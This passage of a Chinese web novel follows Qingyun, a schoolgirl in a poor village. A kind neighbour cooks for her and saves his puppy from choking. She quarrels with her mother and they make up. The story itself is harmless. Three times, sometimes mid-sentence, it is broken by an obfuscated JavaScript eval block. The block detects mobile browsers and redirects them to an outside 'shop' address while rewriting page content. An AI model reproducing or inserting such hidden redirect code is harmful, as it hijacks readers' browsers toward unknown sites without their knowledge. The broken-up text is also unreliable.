梁北方径直走过来,手机正在显示通话中,屏幕亮着光。他把手机递过来:“陈书记找你。” 何青云懵懵接过,放到耳边:“……妈?” “青云!我刚和你梁大哥通电话了,让他给你做点东西吃,你在学校肯定不好好吃饭,等我回来接你昂。” “我……” 电话又挂了。 梁北方冲她招招手:“帮我把八角抱进屋吧。你想吃什么?下面可以吗?” 何青云还没反应过来,呆呆地抱起小狗跟在他后面进屋。 屋里比想象中干净很多,堂屋中央一张小方桌,桌上摆着几盘吃完的菜,混合着家常的香气。 梁北方转身进厨房,边走边说:“吃鸡蛋吗?打个煎蛋好不好,有没有不吃的……” “……不要蒜不要姜不要太多油。” “好。”梁北方从冰箱取出两个鸡蛋,又取出面,用手指掐出一圈。 “这么多行吗?” “少一点。” 他放回一部分,“现在呢?” “……再少一点。” 少到不能再少,何青云终于点头。梁北方忍不住想,八角吃的都比她多,难怪这么瘦。 不好好吃饭可不行。 但他尊重她的习惯,转身倒水时却差点撞到还跟在他后面的何青云。何青云抱着狗,一人一狗都仰头看他。 梁北方搓一把后颈,觉得这个场景有些好笑:“你去沙发上坐着等就好了,妹妹。” 这个妹妹呆呆的,逗起来莫名好玩。 就像小狗小猫一样。 何青云“哦”了一声,如梦初醒般立刻离开。 很快,梁北方端着面走出来放在她面前。 清汤,雪白的面条,上面卧着一个金黄的煎蛋,撒了点葱花。热气腾腾。 何青云拿起筷子,挑起几根面条。热气熏到脸上,湿湿的。她吹了吹,小心地吃了一口。 面条煮得很软,汤有淡淡的咸香味。煎蛋边缘焦脆,蛋黄还是溏心的,很家常的味道,但也很好吃。 她小口小口吃着,偶尔抬眼。 梁北方应该刚吃完,将碗筷收走,坐在对面板凳上聚精会神地翻看一本书。 书名叫《狗狗的饲养百科》。 “这是你第一次养狗吗?”何青云咬着筷子尖,鬼使神差地问。 “嗯。”梁北方从书页上抬起眼,似乎没料到她会主动开口,笑笑,“它是捡来的,我得看书学学才敢养。” 他接着说,语气里带着点不好意思的坦诚:“怕养不好。书上说这么大的狗崽,保暖,喂食,疫苗,规矩多着呢……比种地还复杂。” 他拍了拍书皮,发出轻微的“啪”声。 何青云看了眼趴在桌子脚边的八角,油光水滑,胖乎乎的。 “它现在还挺健康的。”梁北方很快又说,“能吃能睡,还会看家。”他看着何青云,眼睛弯了弯,“就是有点人来疯,早上吓着你了。” 话题突然转到早上,何青云猝不及防,她低下头,用筷子拨弄着碗里剩下的几根面条,含糊地“嗯”了一声。 “它很少对生人这么热情。”梁北方站起来伸了伸懒腰,瞅一眼桌上,“吃完了?碗给我吧,我来洗。” “我,我来吧。” “哪能让你来,坐着好好休息,上一天学应该都累。” 梁北方端起碗正要往厨房走去,突然听见一道哼唧声。 “呜……呜嗯……” 是八角。 它正用前爪扒拉着自己的嘴,发出了痛苦的呜咽声,身体微微躬起。 梁北方反应极快,马上放下碗筷,两步跨到八角身边,蹲下身。 “八角?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372064|199961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的声音压得低,紧张得很。 八角没像往常那样欢快地摇尾巴回应,反而更用力地甩了甩头,试图用爪子去扣嘴巴,喉咙里发出类似干呕的声音。 梁北方的脸色瞬间变了。他一只手稳住八角不安乱动的脑袋,另一只手迅速掰开它的嘴,凑近查看。 何青云也站了过来,蹲在他旁边心跟着提起来。她看到小狗鼻头抽动着,眼神似乎有些涣散。 “它怎么了?” 梁北方没有立刻回答。他眉头紧锁,目光扫过八角的口腔喉咙,然后又快速检查它的爪子和身体的其他部位,语速很快:“可能吃了不该吃的东西,或者被什么卡住了。” 说完,他像是突然想起什么,深吸一口气,强作镇定。 “何青云。”他叫她的名字,“能帮我个忙吗?电视机下面柜子里有个绿色的医药箱,帮我拿过来,行不行?” 何青云想也没想:“好。” 她转身跑去找,心脏在胸腔里咚咚直跳,脑子里一片空白,就只有一个念头—— 快点,再快点。 医药箱很醒目,她哆嗦着从柜子里翻出来,转身跑回去塞到梁北方手里。指尖相碰的瞬间,她感受到他的手很凉,甚至有些轻微的颤抖。 梁北方接过箱子,快速打开。 “书上说……”他喃喃了一句,像是在回忆步骤,然后拿起镊子,用酒精棉片擦完,再次稳住八角的头。 何青云不由屏住呼吸,看着他用镊子尖端,小心地探向小狗的喉咙深处,她心里狠狠捏了一把汗,一动也不敢动。 时间仿佛被拉长了。 耳朵像被蒙上一层水,什么都听不见。 梁北方手很稳,额角已经渗出细细的汗。他全神贯注,嘴唇抿成一条直线,眼睛一眨不眨地盯着八角的喉咙。 就在镊子似乎触碰到什么,他就准备轻轻夹出来的那一刹那—— 八角忽然剧烈地挣扎起来,四肢乱蹬,猛地挣脱了梁北方的束缚,向旁边窜去,一头撞在桌腿上,发出一声闷响,然后瘫软下去不动了。 “八角!”两人惊呼,同时扑了过去。 梁北方将八角小心地抱起来。小狗软软地瘫在他臂弯里,眼睛闭着,只有肚皮还在微弱地起伏。 “得去找孙老头。”他抬起头,原来的镇定也消失了,只剩下满脸的焦灼。 孙老头是村里唯一懂点兽医的老人,住在村尾,平时村民家里小狗小猫有点毛病,都是找他治好的。 他站起来看了一眼何青云,语速飞快:“我得马上过去,你留在这儿。如果陈书记回来,告诉她一声,不用帮我锁门。” 说完,他转身就要往外冲。 “我跟你一起去!” 声音脱口而出,何青云急切道。 梁北方脚步顿住,回头看他,眼神里闪过一丝犹豫,随即拒绝她。 “太晚了,路有点远,而且你明天还要上学……” 何青云不知道哪来的勇气,也许是八角瘫软的样子太让人揪心,也许是梁北方脸上那毫不掩饰的焦急让她无法独自留在这空荡荡的屋子里等待。 她只是觉得,自己必须做点什么。 她拉过梁北方的手臂,一字一句。 “梁北方,我得跟你一起去。” 5. 恢复 梁北方深深看她一眼,不再多说。 “好,拿上医药箱,跟着我。” 他不再多言,抱着八角率先冲出了门。 何青云一把抓起桌上的医药箱抱在怀里,也紧跟着跑了出去。 梁北方步子迈又大又急,速度很快,渐渐地把何青云甩在身后,何青云小跑着才能勉强跟上。 她气喘吁吁,校服后背很快被汗浸湿,粘在皮肤上,一部分流进眼睛里刺啦啦地疼。但她顾不得这些,紧盯着前面人高大的背影,生怕跟丢一步。 夜已经很深了,小路上人迹罕至,只有微弱的虫鸣隐隐作响。 梁北方七拐八拐,穿过一小片晒谷场,绕过几栋稀疏的农舍,拐上了一条窄窄矮矮的田埂小路。两边是比人还高的玉米杆,路变得崎岖。 “跟上!”他头也不回地喊了一声。 何青云咬着牙,肺部火辣辣的疼,腿也开始发酸,她深吸一口气,深一脚浅一脚的踩进泥泞里,好几次差点摔倒,但她愣是一声不吭,继续跟着。 肺像破风箱一样剧烈抽动,每一次呼吸都带着血腥味,她不知道他们已经跑了多久,只觉得时间被拉的无比漫长,耳边只剩下自己粗重骇人的喘息和心脏疯狂擂鼓的声音。 前方豁然开朗,一片不大的池塘边,立着一栋孤零零的旧瓦房。 梁北方几乎是扑到了那扇虚掩的木门前,用肩膀顶开。“老孙头?老孙头你睡了吗?救命!” 屋里有些暗,在听到声音后开了灯,一个头发花白,佝偻着背的老人从屋里走来。 “北方?这是……” “八角!不知道吃了什么,卡住了,现在没反应了。”梁北方声音很急。 老人脸色一肃:“放到这边桌上来。” 梁北方小心翼翼的将八角放在堂屋中央一张旧桌子上,老人凑近,枯瘦的手轻轻翻开小狗的眼皮,又摸了摸它的颈侧和肚子。 “多久了?” “就刚才,大概十分钟。”梁北方语速极快,“我试过用镊子,但它突然挣扎,然后就……” 老人安慰他:“没事儿北方,你的狗就是囫囵吞下去大骨头渣子,卡喉咙受惊了,取出来就行。”然后转身从一个黑漆漆的柜子里翻找出一个布包。 “出去给我把门带上。” 梁北方放松下来,点点头,退了出去,这才发现何青云没跟上来。 他连忙跑出去找,没跑两步,就看见小姑娘从池塘边穿过来,气喘吁吁。 “这儿——!”他冲她招招手,还没等他走近两步,何青云脚下那双被泥泞浸透的帆布鞋猛地一滑。 “啊——”她短促地惊叫一声,失去平衡的身体不受控制的向前栽去,怀里的医药箱“哐当”一声先砸在了地上。 预料中的坚硬撞击没有到来。 一只有力的手臂迅速的拦住了她的腰,另一只手托住了她的胳膊,将她下坠的势头稳稳截住,带了回来。 何青云惊魂未定,整个人几乎半靠在他怀里,膝盖还是软的,全靠梁北方手臂力量支撑着。她的脸靠在他棉质t恤上,能感受到布料下坚实的胸膛。 她本能地大口喘着气,肺部的灼痛更加鲜明。 梁北方僵了一瞬,女孩单薄的脊背贴在他身上,轻飘飘的,有些弱不禁风的样子。 她喘得那么厉害,那么痛苦,仿佛下一秒就要窒息。 他立刻松开了一些,但手臂仍稳稳的扶着她,让她慢慢站稳:“没事吧?能站得起来吗?” 何青云说不出话,只能胡乱点头,脸上烧的厉害,不知是缺氧还是别的。她试图自己站直,可腿一软,又晃了一下。 “别动。”梁北方低声道,他半扶半抱着她,将她慢慢挪到屋里一个结实的旧藤椅旁,“坐在这儿。” 何青云跌坐进椅子里,藤椅发出不堪重负的“吱呀”声。她还在喘,双手撑着膝盖,低着头,不敢看他,眼前一阵阵发黑。 梁北方转身,从柜子里翻出一个干净的搪瓷缸子,兑了点暖瓶里的热水,试了试温度,然后走回来,蹲下身,将缸子递到何青云手边。 “慢慢喝,不急。”他声音恢复了平时的平稳,低低的。 何青云颤抖着手接过,温热的水流入火烧火燎的喉咙,稍微缓解了一下肺痛和口渴。她小口小口地喝着,视线低垂,只看见蹲在自己面前沾满泥点的鞋,和那双稳稳服在藤椅扶手上指节分明的手。 屋里一时间安静下来,何青云渐渐平复了呼吸。 她有些焦急开口问梁北方:“小狗呢?八角怎么样了……” 说着,老人从屋里走出来,慢悠悠开口:“北方,你家狗没事了,我刚才顺着给它骨头渣子推下去,没事了已经,喝点水歇歇就好,你这小子,慌成这样。” 老孙头听到何青云的话,“小狗没事了,歇半天就好。你这女娃娃……跑脱力了,歇会儿也没事。”他看了一眼梁北方,“你照顾着女娃,我去弄点草药给狗顺顺气。” 老人背着手进了里屋。 堂屋里只剩下他们两人。 何青云握着杯子,狼狈,尴尬,后怕,都让她不知所措。 梁北方依旧蹲在她面前,没有起身,他默了默,歉意开口:“对不起……我跑太快了。” 何青云摇摇头:“没事。” 他抬头看她,目光落在她苍白的脸上。 “你怎么样?除了喘,还有哪儿不舒服?” 何青云又摇了摇头,终于鼓起勇气看了他一眼。他的额发也被汗水打湿了,眼神却专注地看着她,眼里的懊恼和担忧清清楚楚。 “我……我就是没力气了。”她实话实说,声音小小的。 “嗯。”梁北方应了一声,“等八角醒了我们就回去,闹了这么半天,陈书记估计也回来了。” “好。” – 八角恢复得很快,喝了点水又开始活蹦乱跳。 老孙头收拾着桌上的布包。 “行了,再回去好好歇着,这两天喂点软和东西,它肠胃嫩,别瞎喂。” 梁北方如释重负谢过老孙头,看向乖乖坐着的何青云。 “走得动吗?” “嗯!”何青云点点头。 两人一狗乘着月光往家方向走去,很快看见坡下那两栋熟悉的木屋。 陈红正站在自家门口,手里拿着钥匙,看样子也是刚回来。 她瞧见两个人一前一后过来,目光在何青云沾着泥点的衣服上停留一瞬,微微皱眉。 “妈。”何青云小声叫了一句。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372065|199961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “陈书记。”梁北方也点点头,“八角刚才不太舒服,我带它去了趟老孙头那儿,妹妹她……帮我拿了下东西。” 他解释得简单。 陈红脸上露出客气的笑容:“麻烦你了小梁,快进屋歇着吧。青云,今晚还不谢谢人家,然后赶紧回家。” “谢谢。”何青云对着梁北方,声音细若蚊呐。 “没事儿,”梁北方看了她一眼,然后对陈红点点头,“那我先回去了。”他抱着八角回屋。 何青云跟着陈红进了屋,陈红把包扔在椅子上,一边换鞋一边开口:“何青云,我来的时候是不是三令五申,说过多少次出门检查钥匙,手机,这是最基本的!我接到电话有多担心你知不知道?工作都没心思!” “我能出什么事?”何青云忍不住顶了一句,语气有点冲,“不就是忘带了吗?我又不是故意的!” 而且事情已经发生了无法改变,现在开始揪她的错还有什么意义? “不是故意的就行了?”陈红声音也高了,“这是乡下不是城里!人生地不熟的,要不是邻居帮忙,万一出点事,你让我怎么办?我一天到晚工作已经够累的了,你能不能让我省点心?” “我又没让你操心!”话赶话,何青云的拧巴劲儿也上来了,“我自己等不到你,我自己想办法,我没给你添麻烦……” “你这叫没添麻烦?”陈红指着她还沾着泥的裤腿,“你看看你这样子!跑到哪里去了?你一个女孩子,跟着人家跑着那么远,像什么样子!” 这句话不知怎的戳中了何青云的敏感点,她脸涨得通红:“什么叫像什么样子?八角要死了!我去帮忙有什么错?在你眼里就什么都不对,就知道说我,你除了说我还会什么!” 吼完,她再也忍不住,眼泪涌了上来。 她狠狠一抹眼睛,转身就往楼上自己的房间冲去,木质楼梯被她踩得咚咚直响。 “何青云!你什么态度!”陈红在她身后气得喊了一声。 但何青云已经“砰”地关上了房门,把一切声音隔绝在外。 她背靠着门板滑坐到地上,抱着膝盖把脸埋进去,肩膀轻微地颤抖。 楼下安静了下来,陈红没有追上来。或许她真的太累了,或许她也需要平复情绪。 不知过了多久,何青云哭累了,呆呆地坐在地上,胃里空荡荡的,那碗面早就消化完了,她现在口渴得厉害。 她想起身去倒水,又不想下楼面对妈妈,正犹豫着,目光无意识扫过窗外。 对面,梁北方家的窗户凉着暖黄的灯,倒映出他模糊的身影,他起身像是要关窗,目光似乎朝她这边停了片刻。 何青云的心莫名一跳,下意识往后缩了缩,将自己藏进卧室的阴影里。 就在这时,楼下传来了轻微的脚步声,似乎是陈红收拾完准备回房。脚步声停在楼梯口,在何青云门口犹豫片刻,最终还是没有过来,转向她自己的卧室。 就在这时,一道刺耳的铃声蓦然响起,把贴着房门偷听的何青云都吓了一跳。 陈红接下电话,压低嗓音。 “喂?……我是我是……什么?别急,我明天来处理……” 何青云屏住呼吸,一动不动。 发生怎么了? 6. 和好 陈红一夜没怎么休息。 早晨晨雾未散,她就拎着公文包匆匆推开门,一眼就瞧见隔壁梁北方正蹲在屋檐下,给一个小饭盆里倒着什么。 热气袅袅升起,是熬的浓稠的小米粥,旁边小凳子上还摆着两个剥好的水煮蛋,和一碟脆生生的酱黄瓜。 很简单的早餐,却收拾得干干净净。 “小梁,早啊。”陈红打了声招呼,脚步却没停。今天糟心事可不少。 “陈书记早啊。”梁北方站起身,“这么早就出门?” “嗯,有点急事。”陈红说着,目光却不由自主落在那份早餐上。她想起昨天跟女儿争吵时何青云苍白的小脸,校服穿在身上也空荡荡的。 冰箱里牛奶面包几乎没动过,何青云不太爱吃那些,她知道的。只是自己每天天不亮就要出门,深更半夜才回来,哪有时间生火做饭? 一个念头在她心里转了好几圈,最终还是说了出来。 “小梁啊,”陈红停下脚步,转身看向这个年轻人。他很高,肩宽腿长,而且眉眼干净,做事也稳妥,青云对他似乎也不排斥,“阿姨有件事想麻烦你……” 梁北方擦手动作一顿:“您说。” “我工作的情况你也知道,经常早出晚归,顾不了家。青云那孩子,正是长身体的时候,学习又重,她自己却不肯好好吃饭。瘦得跟豆芽菜似的,说两句就跟我顶。” 陈红叹了口气,“平时家里就她一个人,饭也不会做,我就想着……你能不能每天帮忙多做一口?早饭,晚饭,简单做点就行,不用特意准备,你做啥她吃啥。” 她从口袋里掏出几百块,不由分说地往梁北方手里塞。“阿姨也不白吃你的,这些钱你拿着,就当伙食费,不够再跟我说。” 梁北方像被烫到似的,猛退后半步,手背到身后连连摇头:“陈书记,这不用钱。” “那怎么行?你买菜做饭也要花钱,不能让你补贴。”陈红坚持往前递。 梁北方坚持:“真不用,就是多双筷子的事儿,何青云……她要是愿意,饭儿点过来吃就行,钱您收回去,我真不用。” 陈红态度坚决:“你不收,这忙我就不敢麻烦你了。” 梁北方沉默几秒。他看得出来,陈红是认真的,如果他不收,她大概真的会另想办法,或者干脆不让何青云过来吃。 他垂下眼,最终点点头:“……那行,我拿着。但用不了这么多,多了我退给您。” “不用退!”陈红见他松口,脸色缓和了些,“你看着用,做点有营养的,青云胃不好,挑食,麻烦你……多费心。”她顿了顿,“这孩子脾气倔,要是她不肯来,或者说了什么不好听的,你多包涵,直接告诉我。” “您放心,”梁北方接过钱,心里瞎琢磨:陈书记这姑娘,看着文静,脾气估计不小。算了,就当多养个挑食的妹妹,就跟伺候八角一样了。 “妹妹很听话的。就是……妹妹要是不爱吃,您可别怪我手艺不行。” “不会不会,这哪儿能呢。” 陈红松了口气,转身匆匆走了。 梁北方站在原地看着她的背影消失在坡下,拿着钱轻叹了口气,仿佛这是个烫手山芋。 – “咚咚咚。” 楼下传来敲门声。 “唔……”何青云迷迷糊糊地从枕头里抬起头,窗帘缝隙里透出的天光已经大亮。 遭了! 她脑子瞬间一激灵,猛地抓过床头的闹钟,早读要迟到了! 昨天和妈妈吵完架,又听到电话,心里有事,她翻来覆去很晚才睡着,闹钟响了也没听见。 敲门声音又响了。 “来了。”她手慢脚乱地跳下床,胡乱套上校服,头发也来不及梳,匆匆洗把脸漱个口,趿拉着拖鞋就冲下楼,哗啦一下拉开门。 门外站着的是梁北方,清列的冷空气和他身上干净的皂角味一起涌来。 他穿着件灰色的的卫衣,袖子挽起到手肘,手里端着托盘,热气丝丝缕缕地冒出来。 “早啊妹妹。”他看着她鸡窝似的头发,轻声一笑,把手里的东西往前一递,“你的早饭。” 说着,注意到她肿起来的眼睛,“眼睛怎么啦?” 何青云的大脑还处于刚开机的混沌状态,根本没仔细听他说什么,也没空去想他为什么出现在这,为什么要给她送早餐,满脑子都是“要迟到了要迟到了”,嘴上胡乱应付着。 “我不吃了。” 说完,她像阵风似的从他身边卷过,抓起书包冲出门。 梁北方侧过身,看她匆匆忙忙的狼狈的背影,知道身影消失在视线中,他才收回目光,低头揉了揉蹭他裤脚的八角的耳朵。 “又不肯好好吃饭,回头买只鸡给她好好补补。” 八角“汪”了一声,尾巴摇得飞快。 – 何青云踩着早读的铃声冲进教室,气喘吁吁地在座位上坐下。 英语老师后一脚走进来监督他们早读,来不及喘气,她马上翻开单词本背诵。 教室里书声琅琅,掩盖了许多细微的动静。 何青云喘匀了气,后知后觉地想起早上的事。 梁北方给她送早饭是什么意思? 早餐做多了? 不等她细想,前排飘来低低的议论声,夹杂在读书声里。 “……你们今天来的时候看见没?西角那边好大一个石碾子,把路都堵住了。” “哪个龟孙放的?知不知道很烦人啊,就因为这个,我绕了一大圈才到学校。” “好像是王老汉和李叔叔他们放的……” “……我看到啦,有个书记过去了,新来的那个……” 何青云正听得好奇,冷不丁听见妈妈也在,立马偷偷伸长脖子想知道得更多。 妈妈晚上打电话应该就是因为这个。 可台上的老师却在这时敲了敲讲台。 “早上都没吃饭吗?一个二个声音这么小,我听着都要睡着了,全班这么多人,加起来声音还没我一个人大!所有人,站起来。” 老师一开口,读书声都弱了下去,只有椅子拖拉的哐当声。 “都给我大声读,把那几篇作文续写的句式背一背,我第一节课抽背默写。你不读怎么有语感,你不背不记考场作文怎么写,都大点声。” 没人敢再闲聊了,所有人叽里呱啦抓紧时间记忆。 何青云也没能知道自己想知道的信息,只得暂且作罢。 – 何青云拖着疲惫的步伐走回家,妈妈还没回来,家里冷锅冷灶。 她放下书包,打算泡碗泡面将就吃。 拿壶烧水,一个人影从门口闪过。 “妹妹回来了?” “啊?” 梁北方系着条深色的旧围裙,站在门口冲她笑。 “陈书记说她忙,顾不上回家做饭,让你以后都来我家吃。” 何青云胃里传出一声轻响。 她慢慢走了过去。 “……知道了。” 梁北方家的堂屋比早上看起来更有人气。方桌上摆着两幅碗筷,中间是一盆热气腾腾的土豆炖鸡块,汤汁浓稠,鸡肉软烂,土豆吸饱了汤汁,泛着油光。旁边还有一盘清炒豆苗,翠绿欲滴,和一碗紫菜蛋花汤。 香气扑鼻。 八角蹲在桌子底下,眼巴巴地看着。 “坐。”梁北方给她盛了满满一碗米饭,“洗手了吧?” 何青云小声说:“你不用这样的,太麻烦了……其实我可以……” “不麻烦。”梁北方边给她夹菜边道,“我一个人也要吃,多做一点而已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372066|199961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你就当搭个伙,想吃什么菜就跟我说,饭点有空就过来吃,没空或者不想来,说一声就行,菜我会留着。” “陈书记给过钱了,你不用担心。” 梁北方笑笑,“我现在是专职照顾妹妹。” “哦。” 何青云不再多说,低头吃饭。 梁北方又给八角倒了点骨头,这才坐下自己也开始吃饭。 他吃得很快,几口下去米饭就没了大半。相比之下,何青云吃了半个多小时,碗里没少几粒米。 梁北方随口道:“你这吃饭速度,跟小鸡啄米似的。” 何青云被他这么一说,下意识顶了回去。 “明明是你吃太快……” 话说出口,两人都愣了一下。 梁北方显然没料到这个平时话不多,客客气气的小姑娘会回嘴。他挑了挑眉,非但没生气,眼里反而掠过一丝笑意。 “是是是,我下次慢慢吃,等你。” 话音刚落,门口传来一阵细碎的声音,梁北方像是早有预料,无奈笑笑:“又来了。” 门一开,三只毛茸茸的小脑袋同时探进来,三只橘猫挨个进门。 梁北方蹲下身,伸手挨个摸了摸它们的脑袋:“今天怎么来得这么早?还没到饭点呢。” 小猫们轻车熟路地往厨房方向走,何青云忍不住问:“这是……” “村里的流浪猫狗,”梁北方给他们装饭,“不知道什么时候开始的。偶尔饭点来我家敲门,不给吃的不肯走。” 何青云:“它们都听你的话吗?” “也没有,就是爱来我家。”他说着有些不好意思:“可能我长得比较面善?” 吃完饭,小猫们喵喵叫两声离开了,吃完饭,何青云想帮着收拾,还是被梁北方拦下来。 “放着吧,我来弄就行,你是不是得回家做作业了?” “嗯。” “那你快回家吧。”梁北方往外看一眼,“陈书记好像也回来了。” 道了谢,何青云离开,家里堂屋灯亮着,陈红坐在沙发里,背对着门,手里拿着手机贴在耳边,脸上带着深深的疲惫。 “对,已经处理好了。石碾子挪回去了,路也补平了……嗯,我知道,我会注意的……好,先这样。”她声音沙哑,透着倦意。 挂掉电话,陈红才发现站在门口的女儿。母女俩的目光对上,空气有几秒钟的凝固。 昨天的争吵仿佛还悬在半空,何青云捏着衣角不知道该说什么。陈红也顿了顿,最后只是说:“回来了?” “嗯。” 客厅里很安静,陈红放下手机,揉了揉眉心,然后一指桌上的塑料袋:“回来路上买的,火龙果,橘子,苹果,自己多吃点水果。” 没有正式的道歉,没有多余的话语,争吵之后的冷战就这么轻飘飘被揭过。 只要假装无事发生就好了。 犹豫片刻,何青云“嗯”了一声。 “学校还习惯吧?” “……还行。” “同学相处还可以吧?学习……都跟得上吗?” “跟得上。”何青云语气不自觉有点硬,可话一出口,她又后悔了,放软声音,“……老师同学都挺好的。” “那就好。” 陈红从袋子里拿出橘子剥开,默默掰给女儿一半,推了过去。 她很轻地说:“下周,我尽量早点回来。” 何青云低着头,把橘子塞进嘴里,含糊地“嗯”了一声。 这就是和解的全部了,我知道我们之间有问题,但是我累了,你也别拧着,我们先一起把这个橘子吃完,把今晚度过去。 何青云吃完橘子,站起身:“我去写作业了。” “去吧。”陈红也站起来,“早点睡。” “你也是,妈妈。” 7. 习惯了 何青云渐渐熟悉了这里的生活。 习惯每天晚上放学去梁北方家蹭饭,习惯每天和八角玩,习惯每天妈妈总是不回家。 大麦村位置偏僻,离镇上有不远路,加上交通不便,整个村穷得叮当响。陈红作为上面专派下来的扶贫村支书,必然需要事事亲力亲为,回家时间自然减少。 何青云虽然很希望妈妈陪在自己身边,但也没多说什么,装得若无其事。 台上老师讲得激情,唾沫横飞,粉笔在黑板上“哒哒”地敲,白色粉末簌簌落下,台下何青云却偷偷开起了小差。 她不是努力勤奋学习的人,也不是随便考考就满分的学霸,相反,她成绩一般,考前焦虑紧张学一下,考后轻松身心愉悦,出分后再怀疑自己这个分数还能不能考上大学。 再怎么努力也比不上妈妈同事的那群孩子。 此刻,老师的讲解就像隔着一层毛玻璃,模糊不清。她的思绪飘到天外。 不过短短两个星期,她和梁北方已经熟稔起来,梁北方总是冲她温柔地笑,做好一大桌子菜等着她回家。 正想着,“何青云!” 讲台上陡然拔高了一句,何青云猛然回神,条件反射般站了起来。 “你回答一下,这个步骤套哪个公式?” 老师一推眼睛,问道。 教室里安静地能听见窗外风吹树叶的沙沙声,几道目光或好奇或幸灾乐祸地投来。何青云张了张嘴,脑子里一片空白。 就在这时,前排传来一声很轻的咳嗽声,紧接着,宋均山借着调整坐姿,把草稿纸往桌边挪了挪,上面写了一个很大的公式,还特意圈了起来。 何青云像是抓住了救命稻草,视线飞快扫过,磕磕绊绊地照着念了出来。 老师盯着她看了两秒,终究没再深究:“正确,坐下吧,上课要认真听。” 何青云如蒙大赦地坐了回去,飞快瞥了一眼宋均山挺直的背影,小声说了句:“谢谢。” 宋均山几不可察地摇了摇头,示意不用在意。 放学铃响,何青云慢吞吞地收拾书包,宋均山转过声来:“何青云,我和娇娇想去北方哥家看看八角,你要不要一起走?反正顺路。” 何青云愣了一下:“梁北方吗?” “对,你认识北方哥吗?”宋均山点点头,有些好奇 何青云解释道:“他就住我家里隔壁,我们算是……邻居。” 这次轮到他略显惊讶了:“这么巧?原来陈书记家就在北方哥隔壁啊,那敢情好,一起走吧。” 旁边的陈宝娇已经乖乖背好书包,眼睛亮晶晶地拽了拽何青云的袖子:“走,看八角!” 三人一起走在回村的土路上。陈宝娇一会儿蹲下看路边的蚂蚁,一会儿又指着田埂上不知名野花叽里呱啦地说话,脚步时快时慢。 宋均山自然地将她肩上有些滑落的书包接过来背着,始终留意着她的动静,偶尔出声提醒。 看着他们之间的默契,何青云有些好奇他们的关系,宋均山似乎看出了她的疑惑,走到她身旁开口道。 “娇娇她心思很单纯,就是智力……你也看到了,像个五六岁的孩子。以前在村里上学,总是有人仗着她不懂就欺负她,学她说话,抢她东西。” 何青云心里一紧。 “后面我一直带着她,就没人敢再欺负她了。一开始听说有新同桌,我还有点担心……怕有人因为她不一样对她不好。不过现在看来,是我想多了。” 宋均山对她微微一笑,“娇娇很喜欢你。” 何青云小心开口:“……宋均山,宝娇她,一直都这样吗?” 宋均山听懂了她的欲言又止,推了推眼镜,轻描淡写:“不是天生的。娇娇五岁的时候家里起火,虽然人救出来了,但那时候受了惊,从那之后,心智就停在了那时候,反应,理解力都比别人慢很多。” 原来是这样,何青云看了一眼正小心翼翼摘下一朵蒲公英,鼓着腮帮子使劲吹的陈宝娇,心里涌起一股酸涩的情绪。 “但你看,”宋均山打开了话匣子,语气软了下来,“她还是很爱笑,喜欢亮晶晶的东西,怕黑但是不怕虫子——跟小时候一模一样。只不过,别人往前走,她的时间走得慢一点。” “到了该上学的年纪,她自己虽然说不清楚,但就是很想去。每天扒在院子边,看其他小孩背着书包过去,眼睛跟着转。她奶奶心疼,就试着带她去学校,她真的就搬个小凳子坐在教室最后面,安安静静的,不吵也不闹,就是看着黑板,看着别人读书。” “学校那边……很为难吧?” “嗯,”宋均山点点头,“校长和老师都担心,那个时候我已经上学了,知道这事后就去找了校长,跟他们保证宝娇不会影响课堂,我也能照看着她。我可以每天提早到校,放学最后走,把我的成绩押着,磨了校长好久,最后他大概是看在我们两家知根知底,我又确实能管得住,成绩也一直是第一,才破例点了头。” 她从小就跟着他了,小时候是邻居,现在是同学,以后…… 以后也会一直在一起。 陈宝娇蹦蹦跳跳从前面跑来,分给他俩一人一朵花,认真地放在两人手心。 宋均山笑笑,另一只手牵起她的手:“走吧,就快到了,你不是想八角了吗?” “想!八角,跑得快!”陈宝娇用力点头,笑得露出两颗小小的虎牙。 刚走到坡下,八角就闻到他们的味道,跟个小炮弹似的从家里冲出来迎接他们,兴奋地围着三人打转,尤其往陈宝娇身上扑。 陈宝娇开心地蹲下,抱着小狗的脑袋蹭了蹭。 梁北方听到动静,端着一盆洗好的青菜走出来,系着围裙,看样子正准备做饭。他抬头看到门口站着的三人,明显愣了一下,随即露出笑。 “均山,宝娇,今天怎么有空过来?” 目光又自然地落到何青云身上,“青云也回来了,今天放学倒是准时。” 平时磨磨蹭蹭的,放学回家总是要晚一些。 何青云含糊地“嗯”了声。 宋均山笑着解释:“北方哥,宝娇想八角了,就跟着过来看看,我们跟何青云一个班呢。” 梁北方点点头:“来得正好,我正准备做饭呢,都留下来一起吃吧。” 他转身往厨房走:“你们先坐,跟八角玩会儿,一会儿就吃饭。” 